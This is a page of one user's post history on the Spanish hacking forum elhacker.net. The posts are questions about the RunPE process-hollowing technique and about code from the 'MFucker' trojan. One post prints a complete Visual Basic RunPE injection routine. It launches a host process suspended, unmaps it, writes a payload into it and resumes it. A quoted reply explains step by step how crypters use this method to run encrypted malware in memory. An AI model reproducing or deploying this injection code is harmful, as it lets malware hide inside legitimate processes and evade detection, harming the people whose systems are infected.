elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 [2]
11  Seguridad Informática / Análisis y Diseño de Malware / Ayuda con este codigo en: 14 Mayo 2012, 22:56 pm
Hola gente llevo tiempo rompiendome la cabeza con el codigo de un RunPE...

Código:
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Se supone que escribe cada sección en su virtual adress pero acaso el virtualaddress no es el mismo cada vez? O a medida que se llena la estructura de image section header el valor del virtualadress va cambiando apuntando a cada sección cada vez?

A ver si pueden ayudarme por favor un saludo y gracias
12  Programación / Programación Visual Basic / Duda con este codigo en: 25 Enero 2012, 19:04 pm
Hola estoy estudiando el codigo del troyano MFucker y me he encontrado con este codigo que no entiendo como funciona... Alguien sabe como funciona?

Código:
Private Sub wS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim data As String
wS(Index).GetData data
DatosTemporales = DatosTemporales & data
If Right(DatosTemporales, 1) = Chr(0) Then
    While InStr(DatosTemporales, Chr(0))
        Dim tempo As String
        tempo = Mid$(DatosTemporales, 1, InStr(DatosTemporales, Chr(0)) - 1)
        DatosTemporales = Mid(DatosTemporales, InStr(DatosTemporales, Chr(0)) + 1)
        Debug.Print "[" & Index & "] << " & tempo
        ProcesaDatos tempo, Index
    Wend
    DatosTemporales = ""
End If
End Sub
13  Seguridad Informática / Análisis y Diseño de Malware / Re: Duda RunPE en: 10 Diciembre 2011, 13:34 pm
Asi pues es correcto lo que he dicho no? Para rellenar IMAGE_DOS_HEADER copia los primeros 64 bytes del ejecutable que coinciden con al estructura IMAGE_DOS_HEADER y para rellenar IMAGE_NT_HEADERS copia los siguientes 248 bytes a la estructura IMAGE_DOS_HEADER e_lfanew no?
14  Seguridad Informática / Análisis y Diseño de Malware / Duda RunPE en: 10 Diciembre 2011, 12:47 pm
Código:
Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Buenas estoy estudiando este codigo de un RunPE... Alguien me puede decir que hacen estas instrucciones

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

La primera toma los primeros 64 bytes del archivo que  coinciden con su cabecera IMAGE_DOS_HEADER no? Y la segunda copia los primeros 248 bytes a partir de la cabecera IMAGE_DOS_HEADER e_lfanew que coincide con la cabecera IMAGE_NT_HEADERS no?
15  Seguridad Informática / Análisis y Diseño de Malware / Re: Que es un RunPE? en: 16 Octubre 2011, 11:29 am
Buena tarde,
Con respecto a las respuestas, todas están erradas, pero vamos no del todo y no es por desmeritarles. En realidad el RunPE obviamente tiene estrecha relación con el Formato PE, pero no es exactamente eso.
El famoso RunPE es una técnica la cual permite ejecutar archivos ("on the fly" - Karcrack), es decir sin necesidad de que el archivo ocupe tamaño físico, esto se hace porque el archivo está plasmado en un buffer en memoria. Esta técnica es usada en malware generalmente en Cifradores, los cuales tienen en su cuerpo el archivo cifrado, luego en memoria lo descifran y lo ejecutan, y esto no llamará mucho la atención.

Como funciona un RunPE:
  • Comprobar que es un ejecutable válido (MZ & PE/x0/x0 Signature).
  • Crear un nuevo proceso suspendido (Generalmente con el mismo ejecutable).
  • Desasignar la proyección del archivo en ese proceso, ImageBase. (Limpiar el ejecutable del proceso).
  • Obtener contextos (Registros).
  • Reservar en memoria la dirección del ImageBase del ejecutable con un tamaño del campo SizeOfImage. (ImageBase y SizeOfImage del archivo a ejecutar).
  • Escribir la cabecera y las secciones alineadas por el campo SectionAlignment.
  • Editar EAX en los registros leídos por la dirección del punto de entrada del archivo a ejecutar.
  • Editar EBX + 8 por el ImageBase del ejecutable a cargar (Cambiar base de la imagen del nuevo proceso).
  • Editar con el nuevo contexto (Escribir registros).
  • Iniciar el proceso suspendido.

Un saludo.

Buenas reabro el tema porque yo tambien tengo dudas sobre el RunPE...
Alguien mas puede arrojar algo mas de luz sobre el tema?
Alguien puede explicarme que se entiende por obtener los contextos de un proceso? Tampoco entiendo porque hay que editar el ebx+8...
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines